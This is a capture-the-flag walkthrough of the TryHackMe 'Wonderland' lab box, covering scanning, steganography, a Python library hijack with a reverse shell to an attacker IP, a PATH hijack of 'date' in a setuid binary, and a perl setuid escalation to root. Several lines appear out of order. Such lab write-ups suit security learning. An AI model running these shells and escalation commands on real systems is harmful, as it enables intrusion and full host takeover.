PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
| 256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
|_ 256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=3/31%OT=22%CT=1%CU=39160%PV=Y%DS=4%DC=I%G=Y%TM=6245C38
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M506ST11NW7%O2=M506ST11NW7%O3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST1
OS:1NW7%O6=M506ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN
OS:(R=Y%DF=Y%T=40%W=F507%O=M506NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 729.87 seconds
Let's modify our /etc/hosts and add this 10.10.95.114 wonderland
Now we can use gobuster for subdomain enumeration as well (it does not five anything but it was worth a try)
Let's have a closer look to the images.
First lets take the rabbit one As it is written pretty much everywhere to follow the white rabbit.
┌──(root💀kali)-[~/Documents/tryhackme/wonderland]
└─# steghide --info white_rabbit_1.jpg
"white_rabbit_1.jpg":
format: jpeg
capacity: 99.2 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "hint.txt":
size: 22.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
It asks for a passphrase but there is no need to enter anything you can just type enter.
And we can see that a hint is embeded in the image, lets extract it steghide --extract -sf white_rabbit_1.jpgsf will specify it is a stego file.
Here is the hint
┌──(root💀kali)-[~/Documents/tryhackme/wonderland]
└─# cat hint.txt
follow the r a b b i t
In our gobuster there was an r directory. So this probably means that r a b b i t is a path that we need to follow
If we look at the code of the last page we get what seems to be user:pass:
If we check the hint for the user.txt it says everything is upside down so I tried to find a file called txt.resu but it was not it, then I realized as we have the root.txt in alice's folder maybe the user.txt is in a the root so I tried a cat /root/user.txt
And it worked!
Let's try to become root
Privilege Escalation
If we sudo -l using alice password, we get htis
alice@wonderland:~$ sudo -l
Matching Defaults entries for alice on wonderland:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alice may run the following commands on wonderland:
(rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
If we l0ok at the python script it seems to show 10 of any sentence of the poem randomly
for i in range(10):
line = random.choice(poem.split("\n"))
print("The line was:\t", line)
Having the right to this specific file means that this the way to privesc.
So our walrus script uses the library random.py. I modified it like this to get a reverse shell and I launched it as the user rabbit this way: sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
#!/usr/bin/python3
from os import dup2
from subprocess import run
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.13.22.56",8888))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
run(["/bin/bash","-i"])
With a shell as rabbit we can now have a look at their home folder and we can see this file called teaParty. If we use file on it we get this result:
file teaParty
teaParty: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=75a832557e341d3f65157c22fafd6d6ed7413474, not stripped
If we launch it it ends with a segfault
Probably by Thu, 31 Mar 2022 23:15:41 +0000
Welcome to the tea party!
The Mad Hatter will be here soon.
Ask very nicely, and I will give you some tea while you wait for him
Segmentation fault (core dumped)
Let's take a look at it from our attacking machine as we do not have a the strings function in the target machine
we can serve it using http server of python as it is installed in the machine python3.6 -m http.server 8888
When we look at it with strings we see this line:
/bin/echo -n 'Probably by ' && date --date='next hour' -R
So date is invoked without using the full path, we could certainly abuse this by putting a file called date and make it do something for us.
Now we serve it from our attacking machine with python and get it in our target
Indeed at each page we get the follow up fo the story http://wonderland/r/a/b/b/i/t/
And it works we have a shell as rabbit:
And we take it using wget
Let's just make it run bash using /bin/bash
And now we can run our binary! And it works
We are the mad hatter!! If we go to his home directory we get his password WhyIsARavenLikeAWritingDesk? so we can connect as him using ssh:
We have a 95% PE vector:
This article shows us a way to abuse this I slightly modified the command to use bash instead of sh perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";' and it works!
